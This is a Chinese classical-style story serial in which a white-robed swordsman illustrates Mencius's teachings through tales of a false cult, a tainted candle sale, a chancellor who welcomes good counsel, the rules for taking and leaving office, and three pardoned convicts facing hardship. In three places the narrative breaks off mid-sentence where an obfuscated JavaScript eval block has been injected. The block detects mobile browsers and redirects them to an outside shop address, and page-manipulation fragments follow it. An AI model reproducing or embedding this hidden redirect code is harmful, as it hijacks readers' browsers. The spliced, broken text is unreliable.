邯郸狱中,有悬案:富商李裕暴毙,密室无痕,唯枕下遗一玉佩,乃其婿王珂之物。王珂喊冤,然人证物证皆指向他,已定死罪,秋后问斩。 高执请白衣人同审。至狱中,王珂蓬头垢面,泣血呼冤。白衣人问:“汝玉佩何以在岳丈枕下?” “小婿不知!那玉佩三月前已失窃…” “何人可证?” “吾妻可证!然…然岳丈死后,吾妻悲恸成疾,言语混乱…” 高执叹:“其妻证言反复,不足为凭。” 白衣人取“本心烛”置案,命提王妻李氏。烛光下,李氏面色惨白,目不敢视烛。 白衣人温言:“夫人,此烛能照人心。若尔夫冤,烛焰直;若尔夫罪,烛焰摇。请观之。” 众人视烛,焰果微摇。李氏色变。白衣人忽道:“烛焰摇,非因王珂罪,是因夫人心虚。” 李氏瘫倒,泣道:“妾…妾有罪!玉佩是妾盗放,欲害夫…” 满堂皆惊。李氏供:父李裕欲夺婿家产,与女合谋毒杀己身,嫁祸于婿。然李裕假死药过烈,竟真亡。女惧事泄,不敢言。 高执怒:“虎毒不食子,尔等竟如此歹毒!” 白衣人叹:“此正是‘君子不亮’——李裕父女内心晦暗,纵谋得家产,何能安然?今事败,是心暗必露也。” 遂释王珂。珂拜泣:“谢青天!然小人愚钝,何以自明心灯,免再遭诬?” 白衣人道:“心灯在己,不假外求。日常行事,但问是否光明磊落。若有一事不可告人,便是心灯蒙尘。积尘成暗,终将招祸。” 又谓高执:“司马守城,亦当守心。城门之钥易掌,心门之钥难持。但得本心常明,奸邪自不能入。” 高执拜受。白衣人赠《心灯诀》一卷,曰:“此非神通,是修心法。勤拂拭,莫使染尘。” 三、 伪日谳 越旬日,邯郸有“日照教”兴,教主自称“光明圣使”,言能赐人“心头光”,信徒数千。圣使设坛作法,取“圣水”售金,云饮之可心明眼亮。 有信徒倾家购水,饮后亢奋,然数日复昏。高执疑为妖术,往查。圣使傲然:“吾教播撒光明,何罪之有?” 白衣人现身坛下,笑问:“圣使既能赐光,可解此谜否?”取三碗,一盛清水,一盛圣水,一空置,覆以布,“三碗孰为圣水?” 圣使作法良久,指清水:“此是圣水。” 白衣人揭布,三碗皆空。众愕然。白衣人道:“圣使心头无光,故指虚为实。真正光明,不假外物。”取本心烛一照,圣使袖中落出药粉,乃曼陀罗末,致幻之物。 圣使伏罪。白衣人对众信徒道:“世人皆求心灯,然灯在己心,何需外求?彼等以药幻为光,是售伪日也。孟子云‘君子不亮,恶乎执’,诸君自弃心灯,反求伪光,岂不悲哉?” 有老者泣:“然我心常暗,何以自明?” “暗因有私。”白衣人温言,“私欲如幔,蔽心灯。去私欲,则灯自明。何需服药?” 遂于坛址立“心灯台”,悬大白烛,不燃,旁题: “灯在心头, 不假外焰。 君子不亮, 恶乎执善? 但去私欲, 光明自现。” 自此,邯郸妖教渐息,市井多传“心灯”之说。 四、 盗烛谳 秋,秦军压境。有客商献“夜明烛”于赵王,云燃之可照百里,夜战如昼。赵王大喜,欲购万枝。高执谏:“烛虽明,恐损士卒目力,且耗资巨万。” 客商嗤:“司马不舍小财,误军国大事!” 白衣人私谓高执:“可请验烛。” 夜,校场试烛。燃之果明如白昼,然烛烟刺鼻,士卒涕泪交加。白衣人取本心烛并燃,其光柔而不耀,烟清香。问士卒:“二烛孰佳?” 皆指本心烛。 白衣人谓客商:“君烛外明内毒,是盗明也。昔有盗日者,凿壁偷光,虽得亮,终是盗。今君以毒烟充明烛,是盗明而害人,岂可为军用?” 客商汗下。白衣人又谓赵王:“大王,军之明在士气,不在烛光。士气盛,星月可战;士气衰,百日如夜。今秦军压境,当明士卒之心,非明战场之地。” 赵王悟,却客商之烛,发库银犒军,士气大振。是夜,赵军袭秦营,不举火,衔枚而行,大破之。 捷报至,高执问白衣人:“先生, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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外烛照形,心灯照神;形可伪,神不可伪 - 惕世:多少人求外明(名利权势),不修内明(心地光明)?多少“光明正大”,实是暗室亏心? - 反思:可有一事不敢告人?可有一念不可对天? 三、 执守之本 - 内心不明,纵执干戈如瞽夜行;内心光明,纵处暗室如对青天 - 深层隐喻:一切作为,皆需心地光明为基 - 终极指向:修心灯,胜于点烛;明本心,胜过万法 不亮偈: 长平战后邯郸秋,高执守门秉烛愁。 君子不亮恶乎执?白衣指灯在心头。 日照妖教售伪焰,暗室冤狱照真羞。 但得本心常皎洁,何需外烛照九幽? 后世叹: 城门司马高执公,秉烛守夜辨奸雄。 君子不亮难执守,心灯自明可贯通。 外烛虽耀终是幻,内光虽微乃真炯。 寄语世间执炬者,莫将幻火当心灯。 正是: 君子不亮恶乎执?心灯自照胜外烛。 高执熄烛擒细作,白衣燃犀照冤狱。 妖教伪日终是幻,本心真明乃可笃。 寄语世间求明者,莫向他处寻火烛。 58. 好善谳 楔子·不寐夜 鲁地曲阜,秋夜深沉。季孙氏府中灯火通明,大夫孟孺子抚掌大笑:“喜事!大喜事!鲁侯欲使乐正子主持国政!” 座中门客公孙丑惑道:“乐正子,可是那位不尚武力、不弄机谋、不博闻强记的先生?” “正是!” 公孙丑愈奇:“如此,夫子何以喜而不寐?” 孟孺子正色道:“其为人也,好善。” “好善足矣?” “好善优于天下,而况鲁国乎?”孟孺子拍案,“夫苟好善,则四海之内,皆将轻千里而来告之以善;夫苟不好善,则人将曰:‘訑訑,予既已知之矣。’訑訑之声音颜色,距人于千里之外。士止于千里之外,则谗谄面谀之人至矣。与谗诌面谀之人居,国欲治,可得乎?” 话音方落,庭外忽有拊掌声:“善哉!好善之言!” 月光下,白衣人倚树而立,斗笠面纱,木剑负背,襟袖飘飘。 一、 訑訑谳 三日后,乐正子拜相。鲁城哗然,有门客讥:“乐正子文不能安邦,武不能定国,徒以‘好善’为名,岂不误国?” 白衣人现于市井,问讥者:“足下以为,为政需何等才具?” 讥者傲然:“需强毅以慑众,智虑以谋国,博闻以知事。乐正子三者皆无,何以为相?” “然则齐桓公强乎?智乎?博闻乎?”白衣人反问。 讥者语塞。白衣人续道:“桓公不强,然用管仲成霸;不智,然纳鲍叔良言;不博闻,然天下才士皆归。何也?好善也。好善,则千里之士来告善;不好善,则訑訑拒人,谄谀之徒聚。” 忽有百姓奔告:“不好了!西市有商贾斗殴,伤数十人!” 乐正子闻讯,素服往调。白衣人随观。 殴斗者乃两大贾,一姓东郭,一姓西门,争货栈地界,各聚家丁相攻。乐正子至,不叱不骂,但揖手问:“二位皆鲁国贤商,何以至此?” 东郭愤道:“西门家占我三尺地!” 西门怒:“分明是东郭家越界!” 乐正子取界石图观之,实是年久模糊,难以分辨。左右进言:“可命官府丈量,依法裁断。” 乐正子摇头:“法可裁地,难解怨。今丈量必有一失,失者必怨,怨则复斗。”遂问二贾:“二位以为,三尺地价几何?” 二贾对视:“约十金。” 乐正子自解玉佩:“此玉值三十金,今与二位。地仍共分,各让一尺半,余三尺作公巷,可好?” 二贾赧然,皆推拒。东郭先道:“吾愿让三尺!” 西门急道:“吾愿让六尺!” 争执竟成相让。乐正子笑:“既如此,各让三尺,作六尺公巷,货栈共用,岂不更善?” 二贾拜服。一场纷争,化怨为和。 白衣人叹道:“此即好善之效。乐正子不强,不智,不博闻,然能化干戈,全在‘好善’二字。若遇酷吏,必依法强断,三尺地虽明,百年怨难消。” 讥者面赤而退。 二、 千里士 越数月,有邹地书生淳于髡闻乐正子好善,跋涉千里来鲁。城门吏见其衣衫褴褛,阻之。淳于髡高声:“吾闻鲁相好善,故轻千里而来告善。今拒士于门,岂不谬哉?” 乐正子闻之,亲迎入府,奉为上宾。淳于髡问:“相国好善,可知何谓善政?” “愿闻教。” “善政者,使民不怨。今鲁有三怨:一怨赋重,二怨刑苛,三怨吏贪。相国欲解何怨?” 乐正子肃然:“皆欲解。请先生教我。” 淳于髡乃陈减赋、省刑、肃吏三策,乐正子一一记下,翌日奏请施行。鲁侯允,民怨稍解。 有老臣嗤:“淳于髡邹国寒士,妄议国政,相国何故听之?” 乐正子正色:“善言无国界。苟好善,则四海之士皆来告善;苟不好善,则訑訑拒人,唯谄谀之徒聚。今鲁国欲治,岂拒善言?” 白衣人闻之,夜访淳于髡。髡问:“足下观乐正子何如?” “真好善者也。”白衣人道,“世之为政者,多自诩强、智、博闻,拒谏饰非,訑訑之声,拒人千里。乐正子不尚此,但以好善为宝,故士归之如流。此孟子所以喜而不寐也。” 淳于髡叹:“惜乎天下多不好善之君。吾在邹,三谏不用,反遭讥嘲。訑訑之态,令人心寒。” 白衣人取木剑,刻“好善堂”三字予之:“可持此谒乐正子,请设‘好善堂’,专纳四方善言。” 次日,淳于髡献匾,乐正子大喜,立设“好善堂”于相府门侧,布告天下:凡有善言,无论贵贱,皆可入告。自此,鲁国贤者云集。 三、 谄谀至 齐国闻鲁国好士,遣辩士田骈来探。田骈善谀,见乐正子即赞:“相国好善,名播四海,真乃尧舜再世!” 乐正子蹙眉:“先生来,必有以教我。” 田骈谀词如潮,自朝至暮,不涉实务。乐正子倦,问:“先生之善言何在?” 田骈笑:“相国即善,何需外求?骈之善言,皆在赞相国也。” 乐正子正色:“吾好善,非好谀。先生若无实言,请回。” 田骈惭退。白衣人现身堂外,拊掌:“相国能拒谀,真善士也。世之不好善者,常拒直言而纳谀辞。訑訑之声,拒善士于千里;谄谀之态,引小人于眼前。今相国反是,鲁国有望。” 乐正子叹:“吾非拒人,是拒谀。然何以辨直言与谀辞?” 白衣人道:“直言如药,苦口利病;谀辞如蜜,甘口损身。好善者求药,不好善者求蜜。相国但观来者,是献药,是献蜜?” 越数日,有莒国匠人公输拙求见,言鲁国水渠设计有误,恐溃堤。有臣斥:“尔贱匠,敢谤国工?” 乐正子止之,亲迎入,问其详。公输拙指图陈弊,果中要害。乐正子即命改修。事后,公输拙泣拜:“小人游历三国,言此弊皆被逐。唯相国纳之,真乃好善之主!” 白衣人谓众臣:“此即好善之效。苟好善,则千里匠人亦来告善;苟不好善,则訑訑拒之,国事日非。” 鲁侯闻之,赞曰:“乐正子为政,鲁国善言不绝,谀辞不入,真良相也。” 四、 距人谳 有楚国公子芈胜至鲁,骄横无礼,见乐正子即嘲:“闻鲁相好善,然国弱民贫,善有何用?” 乐正子不怒,揖问:“公子必有以教我。” 芈胜嗤:“治国在威,在力,在谋。善乃妇人之仁,何足道哉?”遂大谈霸道。 乐正子静听毕,问:“公子之策,可使民安乐否?” “民如草芥,何需安乐?” “然则公子之策,可使国长久否?” “成王败寇,何需长久?” 乐正子叹:“公子既不以民为念,不以国为念,胜不敢闻教。”遂端茶送客。 芈胜怒:“竖子敢拒我!”拂袖而去。 白衣人现身,问乐正子:“相国拒之,岂非距人千里?” “非距人,是距恶言。”乐正子肃然,“好善,非纳一切言。善者纳之,恶者拒之。今芈胜之言,残民害国,是恶非善。若纳之,是害鲁也。” 白衣人拊掌:“善哉!好善非滥善,是明辨善恶。世之不好善者,常拒善言而纳恶言,以其不好善,故不辨善恶。相国能辨,是真知好善者也。” 遂与乐正子论“好善”之要。乐正子问:“吾常恐己智不足,不能辨善。” 白衣人道:“好善如流水,自就下;好善如明镜,自照形。但存好善之心,自有辨善之能。且好善者非独行,天下善士皆来助,何愁不辨?” 忽有急报:芈胜归楚,怂恿楚王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088210|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伐鲁,言“鲁相柔弱,可一鼓下”。 鲁国大震。乐正子集众问策,淳于髡献“联齐拒楚”计,公输拙献“固城备械”策,又有义士献“疑兵计”。乐正子纳众言,部署周密。 楚兵至,见鲁国有备,不战而退。 庆功宴上,众皆赞乐正子。乐正子避席道:“此非吾之功,是好善之功。苟好善,则善士来,善策集。吾唯纳之而已。” 白衣人夜访,赠木剑一柄,上刻: “四海轻千里, 来告善不已。 但存好善心, 何患无善士?” 尾声好善堂 三年后,乐正子病逝。遗言薄葬,唯嘱守“好善堂”。 鲁人感其德,塑像于堂中,刻孟子之言于壁: “夫苟好善,则四海之内,皆将轻千里而来告之以善; 夫苟不好善,则人将曰:‘訑訑,予既已知之矣。’ 訑訑之声音颜色,距人于千里之外。 士止于千里之外,则谗谄面谀之人至矣。 与谗诌面谀之人居,国欲治,可得乎?” 又附乐正子像赞: “不强,不智,不博闻。 唯好善,善士归。 谀辞不入,恶言不侵。 三年而鲁治, 皆因好善。” 自后,鲁国凡为政者,皆先谒好善堂。有纳善者,民颂之;有拒谏者,民讥之。堂前常闻童谣: “好善堂,好善堂, 善言如水汇成江。 訑訑声,谀辞腔, 千里之外自消亡。 强何用?智何长? 不如好善纳四方。” 白衣人过堂前,闻童谣,莞尔。有童子问:“先生,好善真胜于强智乎?” 白衣人指堂前柳:“柳不强,然春风至则绿;松柏强,然寒冬至亦凋。好善如春风,能召善士,聚善言,成善政。强智如松柏,虽傲雪,然无春风,终是孤木。” 童恍然。时值春暮,柳絮纷飞,善堂内外,游者如织。 似在说: 善啊,善啊。 不强,不智,不博闻。 只好善。 本章诫世 一、 好善为宝 - 为政不在强、智、博闻,在好善 - 破解法:遇事自问:我是否真好善?是否愿纳善言? - 示例:乐正子不强不智,然能纳善,故善士归,鲁国治 二、 訑訑距人 - 不好善者,常作“訑訑”声(傲慢貌),拒人千里 - 惕世:多少人以“予既已知之矣”拒善言?多少“强智”者,实是孤家寡人? - 反思:可曾訑訑拒谏?可曾喜谀拒直? 三、 谄谀之祸 - 士止于千里之外,则谗谄面谀之人至 - 深层隐喻:不好善者,身边必聚小人;好善者,身边方有诤友 - 终极指向:但求好善,则善人至,善言集,善政成 好善偈: 鲁侯欲用乐正子,孟子闻之喜不寐。 非为其强非其智,唯因此人好善挚。 好善能召千里士,訑訑拒人谀辞至。 寄语世间为政者,莫将善心等闲弃。 后世叹: 乐正为政不强毅,不尚智谋不博闻。 唯一好善能化俗,四海之士皆来臻。 淳于髡献安民策,公输拙陈治水文。 但得主君好善谏,何需霸术与兵氛? 正是: 为政何须强智闻?好善优于天下君。 四海轻千里来告,訑訑拒人谀佞臻。 乐正纳善鲁国治,孟子闻之喜不眠。 寄语庙堂执权者,莫将善士拒门垣。 59. 仕就谳 楔子·三就三去 齐国稷下,有寒士陈子,三赴科场不第,困顿于陋巷。是日,闻邻人讥:“读书何用?不若为吏,饱食暖衣。”陈子愤,掷书长叹:“古之君子,何如则仕?” 忽有白衣人拊掌自巷外来,斗笠面纱,木剑负背,声若清泉:“足下此问,孟子有答。” 陈子急揖:“愿闻!” “所就三,所去三。”白衣人倚墙而坐,“迎之致敬以有礼,将行其言,则就之。此上就。礼貌未衰,言弗行,则去之。此上去。” 陈子默记。白衣人续道:“其次,虽未行其言,迎之致敬以有礼,则就之。此中就。礼貌衰,则去之。此中去。” “其下者,朝不食,夕不食,饥饿不能出门户。君闻之,曰:‘吾大者不能行其道,又不能从其言,使饥饿于我土地,吾耻之。’周之,亦可受也,免死而已矣。此下就,亦下去。” 陈子恍然:“是故君子不轻仕,亦不轻去。” “然也。”白衣人起身,“今足下饥否?” 陈子赧然:“实不相瞒,两日未食。” 白衣人自怀中取一囊,中储炊饼三枚,置石上:“此可充饥。然食后,当思:足下欲行何就?” 言罢,飘然出巷。陈子捧饼,热泪盈眶。 一、 上就谳 陈子食饼,稍复气力。闻卫国公子蒯聩招贤,布告:“凡献良策者,必敬之礼之,且行之。” 陈子携“劝农耕桑策”往谒。公子果迎之门,揖让升堂,礼数周至。览策毕,拊掌:“先生大才!明日即颁行。” 次日,公子果下令:废杂役,劝农耕,赐桑苗。陈子喜,以为得“上就”。 白衣人夜访,问:“足下观公子,真能行其言否?” 陈子答:“令已颁,岂有假?” 白衣人摇头:“且观三月。” 越一月,农时,公子征兵,丁壮尽赴营,田亩荒芜。陈子谏:“此违劝农令!”公子笑:“军务急,暂借人力。” 又一月,公子纳妾,令民献锦帛。陈子又谏:“此违劝桑令!”公子不悦:“内府用度,岂容尔议?” 至三月,公子欲筑台,强征民夫。陈子三谏,公子叱:“尔策已行,勿复多言!” 陈子出府,遇白衣人于道,泣曰:“礼未衰,言弗行,当去乎?” 白衣人正色:“礼貌未衰,言弗行之,则去之。此孟子明训。今公子礼虽在,然言弗行,是虚礼。君子守上就之则,当去。” 陈子犹豫:“然舍此,何处可依?” “守道重于守禄。”白衣人厉声,“昔孔子去鲁,燔肉不至即行,岂因无肉?因道不行也。今足下道不行,尚恋栈否?” 陈子恍然,当夜留书辞行。公子遣人追,赠金挽留,陈子拒之。白衣人拊掌:“善!能行上就去,是真君子。” 二、 中就谳 陈子游于宋,遇大夫向巢。向巢闻其贤,设宴恭迎,礼敬甚笃。陈子献“节用宽民策”,向巢叹:“善哉!然宋国多事,姑待之。” 白衣人谓陈子:“此‘中就’也。礼敬在,言未行。可暂就,观其变。” 陈子遂留。向巢日与论道,执礼甚恭,然策终不行。陈子问:“大夫既以策为善,何不行?” 向巢赧然:“上有执政,下有世族,吾力不能及。” 白衣人私语:“礼未衰,可言未行,尚可留。然需自警:中就者,如履薄冰,礼衰则去。” 半年,向巢升为司马,礼渐疏。初见时亲迎于门,今使门吏导之;初见时设宴正厅,今偏厅待之。陈子惑,白衣人问:“足下觉礼衰否?” “略觉。” “礼衰,则去之。”白衣人正色,“中就之要,在察礼衰。今向子升迁,礼反疏,是心已慢。慢则去,莫迟疑。” 陈子欲辞,向巢忽召,曰:“吾欲用子策,然需稍改:节用当自下始,宽民当自吏始。子可为我润色?” 陈子喜,白衣人却道:“此诈也。节用自下,是削民利;宽民自吏,是纵贪墨。若改此,策已非策。礼衰而诱以虚名,是欺也。当去。” 陈子恍然,谢绝润色,即日辞行。向巢不挽,赠程仪略薄。白衣人笑:“礼衰至此,去之晚乎?” 陈子叹:“非晚,是幸。几为虚礼所误。” 三、 下就谳 陈子离宋,盘缠用尽,困于郑国边邑。三日不食,饿卧破庙。有牧童见,报于邑宰。 邑宰孙乔闻之,叹:“贤士饥饿于我土,吾耻之。”遣人送粟肉,并谒陈子:“先生大才,乔不能行君道,亦不能从君言,然不忍见君子饥饿。愿周之,可受否?” 陈子忆孟子言,泣受。 白衣人现于庙外,拊掌:“此下就也。免死而已,勿忘。” 陈子食毕,气力稍复。孙乔又赠衣帛,问:“先生可愿为邑中塾师,授童子句读?” 陈子欲应,白衣人止之:“下就者,受周济可也,然不可委身。今为塾师,是变相为吏。既不能行道,何苟禄位?” 陈子悟,婉拒:“受周已感,不敢再叨。” 孙乔不强。陈子养息十日,辞行。孙乔赠路资,陈子受少许。白衣人颔首:“善。下就之受,如渴饮鸩,止渴则已,多饮则亡。今足下能持,可免死,亦免辱。” 陈子拜谢。出郑境,白衣人问:“经此三就三去,可悟否?” “悟矣。”陈子肃然,“上就,行道为要;中就,守礼为界;下就,免死为限。君子仕就,非为禄,为道;非为食,为义。” “然也。”白衣人赠木剑,上刻: “上就:礼敬言从, 中去:礼衰即行, 下就:免死而已。 君子仕止, 在此三境。” 四、 三境碑 陈子归乡,不复求仕,开馆授徒。每有学子问“出仕之道”,必述“三就三去”。 有弟子问:“若三就皆不得,奈何?” 陈子答:“宁耕钓,勿苟仕。昔孔子云:‘天下有道则见,无道则隐。’孟子三就三去,正是此意。” 又一年,齐王闻陈子贤,遣使三聘,礼数极恭,且言:“愿行先生之教。”陈子心动,弟子劝行。 白衣人忽至,问:“足下信齐王乎?” 陈子犹豫:“礼敬若此,或可一试。” “姑观之。”白衣人引陈子暗访齐都。见齐王虽招贤,然宫中奢靡,牢狱盈满。陈子叹:“此非行道之君。” 白衣人道:“上就之君,必先修身而后求贤。今齐王外饰礼贤,内多欲,虽礼敬,恐难行言。足下可试,然需守‘言弗行则去’之则。” 陈子遂应聘。齐王果迎以殊礼,然陈子献“轻徭薄赋策”,王搁置不议;献“省刑宽狱策”,王笑而置之。三月,礼虽未衰,言无一行。 陈子忆“上就去”之训,即夜辞官。齐王惊,增金帛挽留,陈子拒。出城时,白衣人候于道,拊掌:“能行上就去,足下真得孟子之旨。” 陈子遂于乡中立“三境碑”,刻孟子“所就三,所去三”全章。碑阴自跋: “余尝困顿,问仕于白衣先生,闻孟子三就三去之训。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088211|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后历卫、宋、郑、齐,验之上就、中就、下就, 乃知君子出处,在道不在禄,在义不在食。 上就不行则去,中就礼衰则去,下就免死而已。 今立此碑, 告我子弟及后来者: 仕途多歧, 守此三境, 可全节义。” 碑成,有士人观而泣:“吾恋栈十年,今方知当去。” 尾声白衣铭 陈子晚年,病笃。召子弟嘱:“吾死,葬于三境碑侧。墓前植松三株,象征三就;墓后植竹三丛,象征三去。” 葬日,白衣人影现碑前,抚铭叹: “仕就之道,千古同揆。 上就礼行,中去礼衰,下就免死。 能行者稀,能去者贵。 陈子守之,可传后世。” 掷剑刻于碑座: “上就:道行则留, 不行则去, 莫恋虚礼。 中就:礼在则留, 礼衰则去, 莫贪小惠。 下就:免死可受, 苟禄莫受, 莫失大节。 三就三去, 君子之则。 守之则荣, 失之则辱。” 刻毕,白衣人去。松声竹韵,飒飒如语。 有童子牧牛过,问父:“三境碑何意?” 父答:“人求官,如牛饮水。水清可饮,水浊当避,水毒宁渴。此碑教人辨水。” 童恍然。自是乡中出仕者,行前必谒碑。有贪墨者,民辄讥:“忘三境碑乎?” 暮年,陈子弟子在碑前授经,问童子:“尔愿为何就?” 童朗声:“愿得上就,行道利民;不得,宁耕不仕。” 弟子拊掌。碑上月出,清辉满镌。 似在说: 就啊,去啊。 三道坎,三盏灯。 本章诫世 一、 三就之辨 - 上就:礼敬且行其言;中就:礼敬未行其言;下就:免死而已 - 破解法:出仕前自问:此何就?可守何去? - 示例:陈子历三就,能守三去,方全节义 二、 三去之则 - 上就去:言弗行则去;中就去:礼貌衰则去;下就去:免死而已,勿苟禄 - 惕世:多少人恋栈不行之道?多少人贪礼衰之禄? - 反思:所处之位,是上就、中是、下就?当去否? 三、 君子之节 - 仕为行道,非为食禄;去为守义,非为负气 - 深层隐喻:人生出处,皆需明进退,知荣辱 - 终极指向:守三就三去,可全人格,可完道义 仕就偈: 陈子问仕何所依,孟子言有三就歧。 上就礼敬行其言,中就礼在言可移。 下就免死而已矣,三去之则不可违。 君子守此出处道,至今碑前月影稀。 后世叹: 陈子困顿问仕途,白衣指破三就区。 上就礼行中礼敬,下就免死不受污。 能就去者真君子,恋栈苟禄是鄙夫。 寄语世间求仕客,莫将节义等闲输。 正是: 君子出仕有三就,上中下兮各有由。 礼敬言从方可就,礼衰言废即当休。 免死而已岂苟禄?守道全节是真俦。 寄语庙堂冠盖客,莫忘三就去留谋。 60. 忧患谳 楔子·三囚出 齐国阿城大旱,三载无收。是日刑场,三死囚待决:一曰畎亩奴,本为农夫,因夺水殴杀豪仆;一曰版筑徒,本为匠役,因索薪触怒工曹;一曰鱼盐贩,本为市贾,因秤盐与官差相争。三人皆呼冤,然证据确凿,秋后当斩。 忽有白衣人策马闯法场,斗笠面纱,木剑斜背,高呼:“刀下留人!” 监斩官怒:“汝何人,敢扰国法?” 白衣人掷一铁券于案:“此先王‘赦罪令’,可赦死囚三人。” 官验之,果是真。遂释三囚。白衣人引三人至郊野,问:“尔等本业为何?” 畎亩奴泣:“小人本舜河畔耕夫,因豪强截水,禾苗尽枯,争水误杀其仆。” 版筑徒叹:“吾乃傅岩匠人,为官府筑城,三载无酬,索薪被诬盗料。” 鱼盐贩恸:“胶西盐民,因官秤不公,争辩入狱。” 白衣人颔首:“舜发于畎亩,傅说举于版筑,胶鬲举于鱼盐。尔三人恰应此兆。今赦尔等,非纵罪孽,是观天意。可随吾行,看一场造化。” 是夜,四人宿破庙。白衣人指残月道:“天将降大任于是人也,必先苦其心志,劳其筋骨,饿其体肤,空乏其身,行拂乱其所为,所以动心忍性,曾益其所不能。” 三囚拜问:“吾等戴罪之身,安敢望大任?” 白衣人笑:“大任未必庙堂。能忍人所不能忍,成人所不能成,便是大任。” 一、 筋骨劳 白衣人引三囚北行三百里,至黄河决口处。但见浊浪滔天,灾民遍野。有老吏泣告:“堤溃三处,民夫溃散,吾等待死耳!” 白衣人谓三囚:“此正需筋骨之劳。可愿治水?” 畎亩奴道:“小人惯于农事,或可筑堤。” 版筑徒道:“吾善版筑,可堵决口。” 鱼盐贩道:“吾知水性,可导分流。” 白衣人拊掌:“各展所能,此即‘曾益其所不能’之始。” 遂率灾民治水。畎亩奴教人打夯固基,版筑徒督造防波木笼,鱼盐贩探水文定分洪道。三人日夜不休,肩破足裂,面目黧黑。白衣人亦荷土负石,与众同劳。 越七日,决口稍堵。忽暴雨至,新堤危殆。畎亩奴奋身跃入急流,以躯堵漏,版筑徒急编竹笼,鱼盐贩呼众牵绳。白衣人立浪中挥木剑,分水导流,竟稳住堤防。 雨霁,堤存。灾民罗拜。老吏问白衣人:“壮士等从何来?” 白衣人指三囚:“彼本死囚,然筋骨能劳,心志能苦,故能成此功。可知孟子云‘劳其筋骨,饿其体肤’之意?” 老吏恍然。三囚相视,皆见目中光,已非戴罪之囚,乃治水之士。 二、 心志苦 水患方平,瘟疫又起。灾民病羸,医药匮乏。有巫祝散谣:“此三囚带煞,触怒河神!”愚民信之,围三人欲殴。 白衣人护三人出,问:“遭此冤屈,心苦否?” 畎亩奴泣:“苦!然念及家中老母昔年病亡,亦因无医,此苦可忍。” 版筑徒叹:“吾索薪被诬时,曾欲触柱。今思之,当时若死,焉能救此万人?” 鱼盐贩道:“吾卖盐时,常见穷苦人无钱购盐,身肿而死。今瘟疫,与彼时同,吾心虽苦,志愈坚。” 白衣人颔首:“人恒过,然后能改;困于心,衡于虑,而后作。尔等昔有过,今能改;心有困,虑能衡。此正天将降大任之兆。” 遂教三人以土方治疫:畎亩奴识草药,版筑徒建疠所,鱼盐贩煮盐汤消毒。白衣人自入疫区,亲治患者,木剑挑艾草,烟熏驱疫。 巫祝又煽动:“白衣人是妖,木剑施法,必遭天谴!” 是夜,愚民持火把围疠所。白衣人开门出,取面纱,现清俊面容,声朗如钟:“吾非妖,是医者。尔等见疫不救,反信妖言,岂不悖天?” 有老者颤问:“若真是医,可能治我儿?” 白衣人入内,以金针救其子。子苏,愚民渐散。巫祝欲遁,鱼盐贩擒之,搜出药粉,乃其投毒致疫。众怒,欲杀巫祝。白衣人止之:“送官治罪即可。杀之,与彼何异?” 三囚拜服。白衣人道:“此即‘动心忍性’。心志之苦,能忍则成;不能忍,则堕魔道。” 三、 体肤饿 瘟疫稍遏,粮尽。饥民嗷嗷,野菜挖绝,树皮剥尽。白衣人与三囚亦三日不食。 版筑徒饿倒,畎亩奴采观音土欲食,白衣人夺之:“此土入腹必死,非活路。” 鱼盐贩忽道:“昔贩盐时,闻海客言:东海有岛,产薯蕷,可渡荒。” 白衣人目亮:“可寻此物。” 四人驾筏入海,风浪险恶。鱼盐贩辨星象,畎亩奴划桨,版筑徒补筏。白衣人立筏首,木剑指波,浪稍平。 行三日,果见荒岛,薯蕷遍野。四人狂喜,饱食后,尽采籽实。归途遇飓风,筏几覆。白衣人割臂血祭海,风浪暂息。鱼盐贩惊:“先生此为何?” “非常之时,行非常之事。”白衣人面色苍白,“饿体肤,空乏身,正是磨砺。今得薯种,可活万人,吾血不枉。” 归岸,灾民见薯种,如见天粮。白衣人教种植法,曰:“此物耐旱,两月可收。”饥民始安。 官府闻之,遣吏来索“祥瑞”。白衣人拒:“此救荒物,非祥瑞。若强征,民必反。” 吏怒,囚白衣人。三囚率民围衙,高呼:“释先生!”声震四野。郡守惧,释之。 白衣人出狱,笑谓三囚:“昔尔等刑场待死,今为民请命。此即‘征于色,发于声,而后喻’——正义之声,可喻官民。” 遂教民广植薯蕷,命曰“救命薯”。是岁,虽大旱,民无饥殍。 四、 生死鉴 越三年,三囚之功闻于齐都。齐王遣使召,欲封官爵。白衣人夜聚三囚,问:“今安乐至,尔等欲如何?” 畎亩奴道:“小人愿归田,教民种薯。” 版筑徒道:“吾愿为匠,筑堤防洪。” 鱼盐贩道:“吾愿为商,通盐利民。” 白衣人拊掌:“善!不忘忧患,不慕安乐,此真能受大任者。” 忽有边报:燕国来犯,连破三城。齐王惊,问群臣御敌方略。有佞臣献计:“可征救命薯为军粮,加赋练兵。” 白衣人闻之,与三囚入朝谏阻。佞臣嗤:“尔等贱民,安议国政?” 